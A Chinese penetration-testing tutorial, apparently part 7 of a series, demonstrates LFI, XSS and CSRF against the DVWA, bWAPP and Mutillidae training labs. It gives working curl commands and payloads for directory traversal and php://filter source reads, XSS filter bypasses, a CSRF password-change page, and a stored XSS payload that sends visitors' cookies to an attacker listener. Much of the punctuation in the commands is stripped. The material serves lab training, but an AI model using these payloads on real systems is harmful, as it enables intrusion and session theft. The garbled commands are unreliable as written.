资讯动态

渗透测试实战从靶场搭建到渗透流程——第 7 篇 · LFI/XSS/CSRF:DVWA + bWAPP + Mutillidae 对照实测

发布时间:2026/10/29 11:02:01 来源:尧图企业网站定制
目 录〇、附录DVWA/bWAPP 登录态脚本三节通用一、LFI 本地文件包含1.1 DVWA目录深度先试 5 层1.2 php://filter 读源码include 漏洞的进阶用法1.3 bWAPP 与 Mutillidae 对照二、XSS 三型对照2.1 反射型DVWA 与 bWAPP2.2 存储型Mutillidae 留言板2.3 DOM 型与 Medium 绕过三、CSRF让浏览器替攻击者提交请求四、验收与清场4.1 验收标准4.2 清场〇、附录DVWA/bWAPP 登录态脚本三节通用DVWA 与 bWAPP 的很多接口需要登录态与安全级别 Cookie先固化一段登录脚本本篇三节复用# DVWA登录拿 PHPSESSID 设置 securitylowTOKEN$(curl -s -c /tmp/dvwa.txt http://10.10.10.240:8081/login.php | grep -oP user_token value\K[a-f0-9])curl -s -b /tmp/dvwa.txt -c /tmp/dvwa.txt http://10.10.10.240:8081/login.php \-d usernameadminpasswordpassworduser_token$TOKENLoginLogin -o /dev/nullcurl -s -b /tmp/dvwa.txt -c /tmp/dvwa.txt -o /dev/null \http://10.10.10.240:8081/security.php?securitylowphpidsoff# bWAPPbee/bug 登录含 security_level 参数curl -s -c /tmp/bw.txt -o /dev/null http://10.10.10.240:8083/login.php \--data loginbeepasswordbugsecurity_level0formlogin验证登录态curl -s -b /tmp/dvwa.txt http://10.10.10.240:8081/index.php | grep -c Welcome 应 1。后面所有 curl 命令都带 -b /tmp/dvwa.txt 或 /tmp/bw.txt。一、LFI 本地文件包含程序把用户输入直接当作文件路径去 include且未做目录白名单约束攻击者即可读任意文件、甚至结合上传马执行代码。三个靶场的包含接口与目录深度各不相同正是对照价值所在。1.1 DVWA目录深度先试 5 层curl -s -b /tmp/dvwa.txt -G http://10.10.10.240:8081/vulnerabilities/fi/ \--data-urlencode page../../../../../etc/passwd \--data-urlencode SubmitSubmit | grep -c root:x:0:0# 预期实测1且能看到 /home/dvwa 账号行目录深度的规律DVWA 的页面从 /vulnerabilities/fi/ 起 include需要 5 层 ../ 才到根。新手常在 2、3 层就放弃——正确做法是从 1 层循环试到 6 层观察哪一层开始出现预期内容。1.2 php://filter 读源码include 漏洞的进阶用法curl -s -b /tmp/dvwa.txt -G http://10.10.10.240:8081/vulnerabilities/fi/ \--data-urlencode pagephp://filter/convert.base64-encode/resource../../../../../etc/passwd \--data-urlencode SubmitSubmit | grep -oE [A-Za-z0-9/]{40,} | head -1 | base64 -d# 输出与直接包含一致但过程是 base64 传输——可读 PHP 源码而不执行它# 实用场景resource 改成 ../fi/index.php 这类源码路径审计后端逻辑1.3 bWAPP 与 Mutillidae 对照# bWAPPfileinclude.php 的 language 参数RFI/LFI 双模式curl -s -b /tmp/bw.txt http://10.10.10.240:8083/fileinclude.php?language../../../../../../etc/passwd | grep -c root:x:# Mutillidaepage 参数本身包含文件名同级路径即可读到位于根目录下curl -s http://10.10.10.240:8084/index.php?page../../../../../../etc/passwd | grep -c root:x:注意 RFI 与 LFI 的分界allow_url_includeOff 时远程包含http://失效只能本地包含。DVWA 高安全级别会做「前缀固定 后缀 .php 拼接」——用 %00 截断在 PHP 5.3.4 后已无效正解是靠目录穿越配合白名单内文件名。三个靶场各自的修复形态不同读完源码再总结收获最大。二、XSS 三型对照XSS 的本质是把「数据」注入成「代码」——用户输入被拼进 HTML/JS 上下文且未转义。三型在三个靶场的 payload 与利用链各有差异。类型特征经典场景反射型payload 在请求中谁点谁中搜索框回显、错误页参数存储型payload 入库所有访问者中招留言板、评论、用户名DOM 型纯前端 JS 拼接服务器无感location.hash 读取后 innerHTML2.1 反射型DVWA 与 bWAPP# DVWA ReflectedLow直接回显输入curl -s -b /tmp/dvwa.txt -G http://10.10.10.240:8081/vulnerabilities/xss_r/ \--data-urlencode namescriptalert(1)/script --data-urlencode SubmitSubmit | grep -c scriptalert(1)# bWAPPxss.php 的 firstname 参数同型 payloadcurl -s -b /tmp/bw.txt -G http://10.10.10.240:8083/xss.php \--data-urlencode firstnamescriptalert(2)/script | grep -c alert(2)2.2 存储型Mutillidae 留言板curl -s http://10.10.10.240:8084/index.php?pageguestbook.php \--data-urlencode entry_namescriptfetch(http://10.10.10.110:9999/?cdocument.cookie)/script \--data-urlencode entry_messagex --data-urlencode entry_php_submit_buttonSign Guestbook \-o /dev/null -w %{http_code}\n# Kali 监听 9999任何人访问留言板页都会把 Cookie 发过来nc -lvnp 9999 # GET /?csecuritylow;%20acuity... 即偷到会话存储型之所以危害最高payload 一旦入库每个访问者都是受害者且可长期潜伏配合 Cookie 外带即是会话劫持。DVWA 的 Stored XSS 在留言板同样可打。2.3 DOM 型与 Medium 绕过# DVWA DOM 型LowURL 片段直接进 DOM# 浏览器访问 http://10.10.10.240:8081/vulnerabilities/xss_d/?defaultscriptalert(3)/script# 注意DOM 型必须浏览器触发curl 验证只能看 JS 是否被拼进源码# DVWA Reflected Medium 级script 标签被删单次替换curl -s -b /tmp/dvwa.txt -G http://10.10.10.240:8081/vulnerabilities/xss_r/ \--data-urlencode namescrscriptiptalert(4)/script --data-urlencode SubmitSubmit | grep -c alert(4)# 1 即双写绕过成功替换后剩余部分拼回完整 script 标签三、CSRF让浏览器替攻击者提交请求CSRF 的本质浏览器会自动携带 Cookie所以攻击者只要诱导受害者访问一个「自动向目标站点发请求」的页面就能以受害者身份执行操作改密、转账、加管理员。# DVWA CSRFLowGET 改密无任何 Token# 构造诱导页 payload.htmlKali 上img srchttp://10.10.10.240:8081/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChangepython3 -m http.server 8000 # 托管受害者浏览器打开即触发改密# 验证密码已变为 hacked旧 password 登录失败bWAPP 变体POST 型 自动提交表单onloaddocument.forms[0].submit()。防护端对照DVWA High 级引入 user_token每次会话随机表单不带 Token 即拒绝——这就是 CSRF 的标准解法Token SameSite Cookie。附带发现DVWA 会话缺陷登出再登录 dvwaSession Cookie 数值递增且可预测配合「安全级别存在客户端 Cookie」的设计攻击者可直接改 securitylow 降级防护——客户端可控的配置永远是靶子。四、验收与清场4.1 验收标准LFI三靶场均读到 /etc/passwdDVWA 用 php://filter 拿到 base64 源码。XSS反射型两处 grep 命中存储型在 Kali 9999 收到 Cookie 外带Medium 双写绕过成功。CSRFDVWA Low 改密成功、High 因缺 Token 失败。4.2 清场# 存储型 XSS 的 payload 已入库必须清掉否则门户/靶场访问者持续中招docker exec mutillidae mysql -uroot -proot -e use mutillidae; delete from guestbook;# DVWA 改密后还原密码用 hacked 登录改回 passwordTOKEN$(curl -s -b /tmp/dvwa.txt -c /tmp/dvwa.txt http://10.10.10.240:8081/login.php | grep -oP user_token value\K[a-f0-9])# 用 hacked/password 重新登录后经 CSRF 页面把密码改回 password# Kali关闭 http.server 与 nc 监听CtrlC删除 payload.html 与 Cookie 文件rm -f /tmp/dvwa.txt /tmp/bw.txt /tmp/payload.htmlWeb 三件套到此收束。下一篇进入服务型靶标MySQL 的写文件链——INTO OUTFILE 为什么被 1290 拦死general_log 又如何绕过 secure_file_priv 完成落盘。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑